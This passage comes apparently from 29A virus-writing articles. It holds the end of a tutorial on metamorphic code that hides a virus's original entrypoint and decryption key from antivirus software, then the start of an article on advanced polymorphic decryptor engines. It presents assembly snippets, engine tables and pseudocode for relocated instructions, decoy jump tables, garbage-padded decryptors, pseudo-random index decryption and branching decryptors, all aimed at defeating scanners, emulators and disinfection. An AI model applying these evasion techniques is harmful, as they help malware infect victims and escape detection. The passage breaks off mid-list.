instruction lengths. It's not very hard, but you will have to create it by
testing it many times under a debugger. Remember that here you are not
generating a polymorphic decryptor (where you have an empty buffer and you
can fill it downwards), but you are working in compiled code that has a
definitive size and links all over. The idea is to modify a certain
instruction so that it cannot be located easily.

First step: instruction relocation

For this you will need to save some space in different parts of your
code and they should look somehow like a subroutine:

place1 proc
space1 db 20 dup(90h)
ret
place1 endp

You can have, let's say, around 10 places for each part of
metamorphic code. Whenever this instruction is to be called you must
rearrange the call to it. Imagine for the above:

call place1
...
place1 proc
mov [ebp+OldEip1], eax
ret
place1 endp

Now, if your random generator decides that the code should be


metamorphized into another place (let's say place2) all that it'll need to
do is move the instruction there and modify also the call to read "call
place2" (check later for insights).

This is the first idea: your instruction can roam around the code.
Think that you can have let's say 15 places like that and 10 or more
instruction to metamorph. Your random number generator will choose a place
for each one and still you will have some left to fill with junk.

Second step: actual code mutation

Here you need to take care of the instruction length. As you noticed
I choosed randomly the size for a place to 20 bytes (btw: you may have
different place sizes). This means that you cannot put an instruction or
group of instructions there longer than 20 bytes, because otherwise they
will overwrite the code that follows.

Let's return to our instruction here:

i1) mov [ebp+Oldeip], eax


ret

Let me be imaginative and create other groups of instruction that do


the same thing:

i2) push [ebp+Oldeip]


pop eax
ret

i3) push edx


lea edx, Oldeip
add edx, ebp
mov [edx], eax
pop edx
ret

i3) push eax


lea eax, [ebp+Oldeip-1]
inc eax
pop [eax]
ret

Now, your random number generator will choose one of the above
instruction and will simply fill in it's place. What does this bring? It
makes it even harder for the automatic scanner (provided that it can look up
all the places) to know which address are you addressing (oldeip1, 2,
etc...).

ÛßßßßßßßßßßßßÛÍ»
Û Briefing Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ

For the moment let's take a break and see what all the above can
generate:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ call placeX ³
ÀÄÄÄÄÄÄÂÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ¿
³ ³ ³ ³ ³ ³ ³ ³ ³
US US US US US US US US US
ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿
³place1³³place2³³place3³³place4³³place5³³place6³³place7³³place8³³place9³
ÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙ
ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÙ
US
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄ¿
³ i1 ³³ i2 ³³ i3 ³³ i4 ³
ÀÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
US
ÚÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÁÄÄÄÄÄ¿ÚÄÄÄÄÁÄÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿
³ Address1 ³³ Address2 ³³ Address3 ³³ Address4 ³³ Address5 ³
ÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙ
Basically any route that goes downward can be generated by the
metamorphic process (for example call to place5, with instruction set i1
that accesses address Address5). Almost all places and Addresses should be
used, each one for a different instruction. The Instruction set should be
wider because for different instruction we must metamorph the specific code.
But the places and the addresses can be common to all instructions.

Of course, I don't have to say that the address of the places and of
the addresses should be as mangled as possible inside the real code.

ÛßßßßßßßßßßßßÛÍ»
Û Advanced Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ

Now let's move to a deeper thing. Imagine that there exists a really,
really masochistic person who realised the way your code behaves and he
wants to find all the addresses where your code stores the EIP (in order to
properly disinfect the victims). He could generate for example 500 samples
of your code and have 10 people analyze them. It wouldn't be very hard, all
they would need would be a table to be filled in with the offsets for the
places, addresses and where to look-up the address inside the instruction.
Do you think that all the situations would be met in such many generations?
Sure, if you do not use a smart slow metamorphism. This kind of slow
metamorphism would mean this: each of the three variables (place, address
and instruction set) should be changed at different moments, once a counter
passed a value of 20. So, every 20 generations the place would change. Every
20 generations the address will change, etc. This assures us that at least
20 generations something wouldn't change. This means that to get all the 10
possibilities for the place at least 200 generations should be created and
everytime the random number should generate a different number... which is
almost impossible. 200+ 200+ 200, that means 600 generations and with the
assumption that the randomizer generates exactly what you want. I think in
6000 generations the conditions should be hardly met. To analyze 6000
generations is... well, at least suicidal...

To add even more complexness to this one might use an invention I


call "Madness Jump Table".

Let's assume that you made your code metamorphize the instruction:

mov [ebp+OldEip], eax

into a "call place", with all the links presented above. And let's
imagine that this instruction will appear 5 times in your code (maybe a few
times only as decoy). It wouldn't be very nice to encode it everytime by a
call to place. The use of a Madness Jump Table would solve this.

Here goes:

instruction1: call treeEntry1


instruction2: call treeEntry2
instruction3: call treeEntry3
instruction4: call treeEntry4
instruction5: call treeEntry5

treeEntry1: jmp subEntry11


treeEntry2: jmp subEntry12
treeEntry3: jmp subEntry13
treeEntry4: jmp subEntry14 - these are equal
treeEntry5: jmp subEntry14 /

subEntry11: jmp subEntry21


subEntry12: jmp subEntry22
subEntry13: jmp subEntry23 - these are equal
subEntry14: jmp subEntry23 /

subEntry21: jmp subEntry31


subEntry22: jmp subEntry32 - these are equal
subEntry23: jmp subEntry32 /

subEntry31: jmp subEntry41


subEntry32: jmp subEntry41

subEntry41: jmp place

Ok, let's trace the instruction3:

treeEntry3-> subEntry13-> subEntry23-> subEntry32-> subEntry41-> place

No matter what instruction you start with, you wind up in the same
adress: place (note that the call place was replaced by a jmp place, because
the call is already done from the beginning and we don't want two addresses
on the stack).

Now, please look carefully at the above table. Imagine that in each
tree block you mangle the left side (the jumps) between them completely
random. Does anything happen? No, because anyway, the trace will still lead
to the same place. But you will have 5 instructions that will jump each
through 6 everytime different jump places, everytime reaching a different
place, where a diferent set of instructions is applied in order to use a
value which is stored in a different place, which is absolutely necessary
for the run of the program... Did you compile what I just said?

Will this decrease the speed of your code? Not at all... Will it
increase it's size. Sure, a little but not so much. 20 jumps and call in
total means 100 bytes, plus 20 bytes per instruction set (provided we have
10 instruction sets), gives another 200. So, a total of 300 bytes added to
your code as functional side. Plus the additional place took by the address
storage and instruction sets storage.

Of course, as I said, the metamorphism should only be used in places


where you really, really need to make the data hard to be understood and
reached, because too much metamorphism could lead to huge executables and no
actual substance, not to mention your additional useless work.

ÛßßßßßßßßßßßßÛÍ»
Û Using it Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ

Where to apply?

Let me give you a few hints on where I think metamorphism should be


applied. First of all, I assume you work on a self relocating code (see an
example in Win32.Thunderpick and Win32.Rammstein); in these type a part of
the original code is moved someplace at the end of the file encrypted, as
well as the rest of original code. The virus inserts in the freed place and
when it finishes the job it decrypts the code and puts it back. This is
needed because otherwise some smart AV's could find this way : load the
infected sample as a debugee process, locate your seh handler (if any) and
find a way to force it to return to host. Then monitor the address of the
return inside the code section and so the original entrypoint is disclosed.
By placing yourself over the same area where the original entrypoint was
(as Rammstein do) the av software cannot make the assumption that the eip
will somehow "escape" that area and by jumping some very far away it means
that that is the original entrypoint. To get the original entrypoint it
should either trace the entire execution, which is dangerous for it and
almost impossible, or to scan the code for values. And here comes our
metamorphic instructions.

So, let's see where should the metamorphic paradigm apply (I just
looove this kind of diryt talking... ;-):

1. original entrypoint
2. original code hunk address
3. original code encryption key
4. original code hunk length

If you are smart enough to create such a metamorphic engine to hide


the above things and the instructions that access them, this is it!! You do
not need to metamorph things like ordinary math instructions and so on. You
have to phocus on the important instructions and metamorphize them!

ÛßßßßßßßßßßßßßÛÍ»
Û Some tips Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Additional stealthing tips

As I said you might want to create a dedicated set of addresses for


each of the metamorphized concepts (e.g. oldEip, code hunk address, etc.).
However, in the light of the above techniques, only one of the multiple
addresses will be actually used while the rest should be only for decoy. To
make it perfect you should not leave under any circumstances those values 0.
This would be a fatal mistake. If the av locates all the addresses all the
rest in our algorithm is useless, because it will consider the one that is
not equal to 0. Also, you should not at all put there random values. Why? An
inteligent av software could locate the actual eip from a set of many values
just by checking which is bigger then the RVA of the code section and
smaller than the RVA+the raw size. To solve this, simply make your random
number generator generate small positive numbers, negate them if you want
(another random assumption) and add those randoms to the original eip. In
this way all the addresses will have very similar values going around the
original eip rva. Renders all assumptions to null...

To optimize the things a little bit: do not store the instruction


sets someplace and just move them to the place at metamorphization. Just
create the places with the instructions already there and when you want to
modify just exchange two of them between them. Or everytime you want to
mutate just exchange all of them between them randomly.

How to place all these infos and not get lost into your own code?
This implies that you know exactly what you start from and you put
everything on paper. Then, the Madness Jump Table offers a very good place
for data hidding. Design the table and then put the addresses between the
jumps. You might even insert some decoy there (like 0FFh prefixes before the
jumps to make the compiled code look horible ;-).

Encrypt very well the core of the metamorphic engine. For this I
suggest a non-linear algorithm with multiple passes (like an endless loop).
Inside the metamorphic engine use address decoy. I will not enter in details
with this technique, I will only present it briefly:

Instead of saying:

mov [ebp+offset metamorph1], ebx

say:

mov edx, offset metamorph1


...
mov eax, 12
...
sub ebp, 24
......
mov [ebp+eax*2+edx], ebx

In this way, by disassembling your code it would be much harder for


the analyzer to understand what you thought there. The last instruction
might appear many times inside the code.

ÛßßßßßßßßßßßßßßßÛÍ»
Û How to code Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

The components of the metamorphic engine

1.The address generator


2.The instruction filler
3.The place filler
4.The jump table mangler

1. The address generator

This is the part that moves the data from one address to another. It
requires a table like this:

AddressTable:
Ahunk1:
size1 = x
_addr11 dd offset address11
_addr12 dd offset address12
...
_addr1x dd offset address1x
Ahunk2:
size2 = y
_addr21 dd offset address21
_addr22 dd offset address22
...
_addr2y dd offset address2y
...
AhunkN
...

,where each hunk is used for a specific value (like oldEip or code
address), and each addressAB represents possible places inside the data area
where the actual value can be stored.

The engine will parse then each hunk, given it's size, go at each
address (aligned with the delta handle of course) and fill it with either a
random value, or the real value, as it decides. Just when the address for
the real value is decided, the instruction filler should be called directly
to prevent future passes over the tables. The instruction filler tells the
instruction to address on the specific address where the actual data is
placed.

2. The instruction filler

This one also needs a table, like this:

InstructionTable:

Ihunk1:
__size = a
_instr11 dd offset instruction11
_byteoffset11 = 3
...
...

,where each hunk is correspondant to the hunks above. Each


instructionAB represents the address of the instruction that wants to use a
value (a virtual mov [ebp+oldEip], eax for example), and byteoffset
represents at what offset should the addres s of the data be placed. For
example in this case:

instruction11:
push edx
mov edx, [ebp+oldEip]
mov [edx], eax
pop edx

the first instruction is 1 byte long and the second is 6 bytes long,
and the address of oldEip is stored on the fourth byte starting from the
instruction11 address. You can simply compute these values by entering
TurboDebugger, typing the instructions and instead of oldEip put 8888888h
and see on what byte does it start.

This part of the engine receives the address of the data from the
address generator. It will then go at each instruction's offset and fill in
at the proper byte offset the address it received. Then it will choose one
of the instructions and pass it's number to the place filler.

3. The place filler

This part doesn't need another table. It will simply mangle the
instruction sets between them as held in the InstructionTable table, and for
the instruction to be executed (as received from the instruction filler) it
will pass this value to the jump table filler.

4. Jump table filler

The jump table filler simply mangles between them the jumps in each
jump block (look above) and then replaces the 'jmp place' instruction with
the proper jump to the address it received from the place filler (the
instruction to be executed). Then, for each caller it will choose a random
entry into the jump table tree and fill it in using this table:

FinalTable:
Fhunk1:
____size = 5
_call11 db offset _caller11
...

All this been set up, your code will have somewhere inside it this
instruction:

_caller11: call StoreEipTree

The store eip jump table tree will guide the call through the random
tree. It will finally reach at a proc which will hold one of the many
instruction sets you prepared to put a value in [ebp+oldEip], where the
oldEip address will be one of the many places you have to store this value.

As you can see, it is very easy to understand how it works, as it


builds up the metamorphic code, but it is very difficult to understand how
if you only have the disassembly and a bunch of (encrypted) tables. Also
note that using the above way, all data can still be metamorphized again
and again.

I wrote a very simplistic metamorphic demo to help you out. It simply


applies the above things on 3 instructions 5 times. After the metamorphic
engine acts once it calls the instructions so you can trace through the code
and see how it changes bu t still do the same thing!!

ÛßßßßßßßßßßßßßßÛÍ»
Û Final word Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Well, at the end of another tutorial I feel I learned more already.


Actually, this tutorial was thought as it was written. I do hope you enjoyed
it too and I am very eager to hear more and more ideas on this issue so that
we can improve it more and more.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Lord Julus/29A (Mar.2000) ³Û
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
ÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ
ÍÍÍÍËÍÍÍØÍÍÍÍÍÍÍÍÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍÍÍÍÍÍÍÍÍØÍÍÍËÍÍÍÍ
º ³ ÚÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄ¿ ³ º
º ÃÄÄÄÄÄÄÄ´ Advanced polymorphic engine construction ÃÄÄÄÄÄÄÄ´ º
º ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ º
ÈÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍͼ
³ ÚÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄ¿ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ by ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
³ The Mental Driller / 29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

This article is assumed upon a basis on polymorphic engines construction, so


you need an adquired good knowledge about decryptor generators and its
construction (it's not for newbies! ;)

I wrote this for win32 engines. I'm not very versated in Linux/Unix virusing,
but modifying some words on this article (and some points in the index) it
can be extrapolated to engines under these systems.

Ú---úú .
| Index |
` úú--ÄÙ
0. Some comments
1. Making more complex polymorphic engines
1.1 Size of decryptors
1.2 Algorithmical applications
1.2.1 PRIDE technology
1.2.2 Branching technology
1.3 Internal recursivity
2. Don't give a chance to AVs
2.1 Coherent decryptor structures
2.2 Opcodes to avoid
3. Advanced garbage generation
3.1 Memory accesses
3.2 API calls
3.3 Recursive garbage functions
4. Last words

ÚÄÄÄÄÄÄ---úú .
| 0. Some Comments |
` úú--ÄÄÄÄÄÄÄÙ
This article is made for those who made its polymorphic engine and they want
to improve their knowledge and their techniques, making a better polymorphic
engine. I have to advice that the techniques I'm going to explain are very
time consumming (an error in the coding, being little or not, can generate
huge errors that aren't easy to trace back, or little errors in the code
generation that can pop up in the least expected moment).

Well, so let's on. I've tried to make both organized article and clear
explanations, but sometimes it can be a little hard to understand. Well,
considering that I'm not an expert on article writing, I've done what I
could ;).

ÚÄÄÄÄÄÄ---úú .
| 1. Making more complex polymorphic engines |
` úú--ÄÄÄÄÄÄÄÙ

1.1 Size of decryptors


----------------------
Many people believe nowadays in the (old) advise of virus coding: you have to
code them little. This advise was valid while there were 40 Mb harddisks and
no Pentiums+ (or similars), but now this fact is obsolete. An average user
has now a huge harddisk (2+ Gb) and s/he don't know the real free space of
his/her disk due to the Windblows swap file. Then, we can make a huge virus
(10 Kb or more) without being noticed at all. We can apply this to decryptors,
then. Why we can't generate a 4 Kb decryptor? We can, and moreover, we are
nearly obligated to do it (a 100 bytes decryptor isn't a challenge to any
nowadays AV emulator). But we have to have a GOOD garbage generator, since
a single instruction size is 3 or 4 bytes as an average, which are about some
thousands of instructions in a big decryptor, which can make easier the AVers
task if they decide to detect our virus by algorithmical approaches or
heuristical techniques. So, we have to code a good garbage generator with
quite a lot of chances.

Other thing that we have in favour of big decryptors is the impossibility for
an emulator to determine in a few instructions if it's a decryptor or not,
forcing it to emulate deeply. 1 Kb of garbage before starting the decryption
should be enough, but you have to thing that every time processors are better
(faster, cheaper, etc. etc.) so emulators too. Garbage is executed very fast
upon normal execution, but it can take a good while upon an emulator. The more
garbage you put, the more time an emulator needs and the less possibilities
the emulator reach the decrypted virus, always you put coherent garbage to
avoid the heuristic detections of "strange" instruction using, and also you
have to mantain a good balance between quantity and quality of code generation
(putting 20 Kb of very complex garbage can slow the initial execution of the
application, noticing the user there is something unusual on his/her system).

1.2 Algorithmical applications


------------------------------
When possible, avoid linear decryption. This is valid for both decryption and
looping. Although we have a 10 Kb decryptor, if we make a main loop (easily
detectable by an emulator) and we access consecutively to the encrypted data
when decrypting it, it's stupid to make very complex coding, because we have
an algorithmical clue for detection that many emulators use to defeat complex
decryptors (they only put a breakpoint after the big loop and wait until that
part is decrypted). I've developed two techniques that are useful to avoid
this situation: PRIDE and Branching.

1.2.1 PRIDE Technology


----------------------
The name comes from Pseudo-Random Index DEcryption, and it was an idea that
I had from the beginning, when I began to code poly engines. Due to the lack
of information about this, I had to research this subject by myself, and now
that's what I bring to you.

The idea is that a "normal" program doesn't make normally a sequential


read/write of a memory zone, which is being made by the decryptors of all
polymorphic virus. There are some techniques that try to avoid that in a
certain way (look Zhengxi's engine(29A#1) or MeDriPolEn in Squatter(29A#3)),
like adding some bytes to leave "holes" and then do several decryptions of
the same code but adding each time a different number, leaving the code full
decrypted.

This particularity is also detected by AVs emulators. The only way to hide
this is to make an "in-appearance" random accessing to that memory, to cheat
the emulator and force it to determine that they are part of a normal memory
access of an application, and that's what I researched a lot until I found
this formula, very easy to do polymorphically. It's adapted to byte-to-byte
decryption, but I explained how to adapt it to others down.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Random(Number) symbolizes a random number between 0 and Number-1 (just like³
³ the C function) ³
³ ³
³Encrypted_Data_Size = The size of encrypted part, rounded to the next power³
³ of 2 (I explain this later) ³
³InitialValue = Random(Encrypted_Data_Size) ³
³ ³
³ The formula ³
³ ----------- ³
³ Register1 = Random(Encrypted_Data_Size) ³
³ Register2 = InitialValue ³
³ Loop_Label: ³
³ Decrypt [(Register1 XOR Register2)+Begin_Address_Of_Encrypted_Data] ³
³ Register1 += Random (Encrypted_Data_Size) AND -2 ³
³ ÀÄÄÄÄÄ> Take care with this one! ³
³ Register1 = Register1 MOD Encrypted_Data_Size ³
³ Register2++ ³
³ Register2 = Register2 MOD Encrypted_Data_Size ³
³ if Register2!=InitialValue GOTO Loop_Label ³
³ GOTO Begin_Address_Of_Encrypted_Data ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

That's it! Very short, very easy to code, and very randomized. Let's see it
by parts, and I'll explain the mathematical aspects of the formula (why it's
like this and no like other):

The first thing to consider is the fact that the encrypted part must be a pow
of 2. If you look at the formula, you can see that the generated decryption
address came from a XOR between two random numbers. The fact is that a XOR
(unlike ADD, SUB, etc.) never modifies a bit higher than the highest bit of
the two numbers, which allows us to know always the top limit of the
resulting number (always power of 2).

Now, the used registers: Register1 is used as a modifier for the Register2,
and it's a pseudo-random number every time, due to the fact that we generate
its initial value randomly and we add to it a random number every loop. The
work of this formula is done by the Register2, and if you look at it, you can
see that Register2 is no other thing than a counter, so you can increase it
or decrease it, it's up to you (or up to the engine :). Just keep it inside
the limits (between 0 and Encrypted_Data_Size).

Now the real revolution of this formula: I find out, after many tests, that
when you have a counter (Register2) and you XOR a random number to it (always
inside the limits and that, I'm not going to repeat this anymore :) you get a
different number, and if you add to the XORing value a little special random
number and increase the counter, the next time you do the XOR to the counter
you will get another different number. When you have completed all the count
sequence (from 0 till NumberPowerOf2), you get a sequence of random numbers
which touch all the numbers from 0 till NumberPowerOf2, but without anyone
repeated! It's like making a permutation of a sequence, but you don't have to
store any vector nor generate any data. Since the formula randomizes all its
numbers, it doesn't vary very much from the "standard" decryptor.

I referred sometimes to a "special random number", which is the one that you
have to XOR to the counter. This one is special because you have to keep it
in a "level" down than the other random numbers. I explain this, and please
keep attention to it, because is very important:

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º When you use this technology, most random numbers are from 0 until the º
º size of the data to decrypt (pow of 2). There's a particularity in the º
º formula that it's necessary for the correct development and returning º
º reliable values: you must "align" the numbers (so, the result of º
º Random(Encrypted_Data_Size) must be multiple of 1 if we decrypt by byte º
º ptr (nothing special here, then), be multiple of 2 if we decrypt by word º
º ptr, and multiple of 4 if we decrypt by dword ptr). But the number that º
º we add to the XORing value is slightly special because it has to be º
º aligned in an upper grade, I mean, if you use byte ptr for decryption, º
º that number must be multiple of 2, multiple of 4 for word ptr and of 8 º
º for dword ptr. That is easily achieved by getting, before coding the º
º opcode of the instruction, the random number to add, and then doing an º
º instruction: º
º AND Value,Encrypted_Data_Size-2 (for bytes), or º
º AND Value,Encrypted_Data_Size-4 (for words), etc. º
º (in the engine, not in the decryptor!). º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Just take this into account because, if not, the decrypted part will be
touched two times, leaving it corrupted (I found out this after becoming mad
and furious after several hours of seeing a correct engine and an incorrect
decryption, and after coding thousands of little programs to test that :).

This method, although powerful, can be defeated with the detection of the
code loops, so we must do anything to break the linearity of the decryptor
execution. The easiest way is to put some conditional jumps in the middle,
but it seems that the emulators detect which zone of code is more frequently
executed (or something like that), so I thought about it and created the next
technique:

1.2.1 Branching Technology


--------------------------
This one, combined with PRIDE (it seems a joke :P ) will allow us to defeat
normal emulators (at least until this date), and of course with the help of
the normal polymorphism techniques and complex garbage generation.

When you look at a legitimal application, you can see that it has many
conditional jumps, followed by code, and the normal thing is that a portion
of code isn't executed an ununderstandable number of times as a decryption
loop does. We must break this, and the way can be this:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³First we have this arrays and values: ³
³ ³
³ArrayOfJumps dd N dup (0) ³
³ArrayOfJumpsNdx dd 0 ³
³JumpsToComplete dd N dup (0) ³
³JumpsToCompleteNdx dd 0 ³
³ ³
³ ³
³ ³ ³
³ ³ This is the beginning of the decryptor. This is the part when the ³
³ ³ registers are setted to their starting value, and all things that ³
³ ³ that we must put at the beginning. ³
³ ³ ³
³ ³ ³
³ x First address stored into ArrayOfJumps ³
³ ³ ³
³ ³ Garbage ³
³ ³ ³
³ .ù*ù. Random conditional jump with a very random probability of jump ³
³ ³ ³ Garbage ³
³ x x 2nd and 3rd address stored into ArrayOfJumps ³
³ ³ ³ Garbage ³
³ .*. .*. Random conditional jumps ³
³ ³ ³ ³ ³ ³
³ ³ ³ ³ ³ Four decryption algorithms that perform the same op. but with ³
³ ³ ³ ³ ³ different code. ³
³ ³ ³ ³ ³ ³
³ ³ ³ ³ ³ ³
³ | | | | Final-of-decryption check ³
³ R R R R Loop to continue decrypting (jump randomly to one of the addr. ³
³ | | | | stored in ArrayOfJumps) ³
³ ³ ³ ³ ³ Garbage ³
³ | | | | ³
³ V V V V Jump to decrypted virus ³
³ ³
³(This would be generated with 3 levels of recursivity. Just look down to see³
³the explanation) ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

I think the technique is quite clear looking at the diagram, but I'll explain
it in words:

1. Â First step Â
ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
You must code a recursive function that I'm going to call "DoBranch".
This function has to manage the coding as if it were a tree. Once in
the engine, when you begin to construct a decryptor, you insert first
the instructions that set our going-to-be-used registers to their
operative value. Once you have this, and after generating some garbage,
you call to "DoBranch". You must sure that the function, since it's
recursive, is going to execute several times, so don't put fixed memory
variables. Use stack or indexed variables, instead.

2. Â Recursivity r0x! Â
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
DoBranch takes the control, and the function doesn't return completely
until the whole decryptor is finished. The function must know which
level of recursivity is, so you have to put a variable that increases
every time you enter into "DoBranch" (INC [RecursivityLevel] at the
very beginning). Every time you return from the function you must
decrease that variable.

3. Â Save this address Â


ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Look if the recursivity level is the last one that we allow. If it is
not, we store the actual instruction insertion address into our prepared
set of variables: ArrayOfJumps+ArrayOfJumpsNdx, and we increase
ArrayOfJumpsNdx.

4. Â Interjumping code Â
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
If you didn't arrive to the desired level of recursivity (yet), and
after saving the actual address (point 3), generate garbage (a good
amount of). When you decide that you have enough, then generate a random
conditional jump. It must be very random, just like CMP Reg1,Reg2/JA xxx
or similar, begin Reg1 and Reg2 garbage registers, if possible
(the ones you put on garbage instructions). There is a huge set of
possibilities (another very good one is TEST Reg,Value / J(N)Z xxx,
being Value a number power of 2 - only one bit set).
We must store then the address of the conditional jump we made, because
we don't know yet to which address we have to jump, so we save
this and later we'll calculate and complete this jumps. It's enough to
push the address onto the stack.
After saving this, we code this leave of the binary tree: you call
"DoBranch" again, and when it returns... voil…! We have a complete
branch coded, and of course the index of instruction insertion points
to the place where the next branch will be. So, we pop the address
that we pushed before, we calculate the distance between the actual
insertion index and the saved address, and then we complete the
conditional jump that the save address point at with that calculated
value. After this little operation, call "DoBranch" again, decrease
[LevelOfRecursivity] and RET.

5. Â Control the number of branches Â


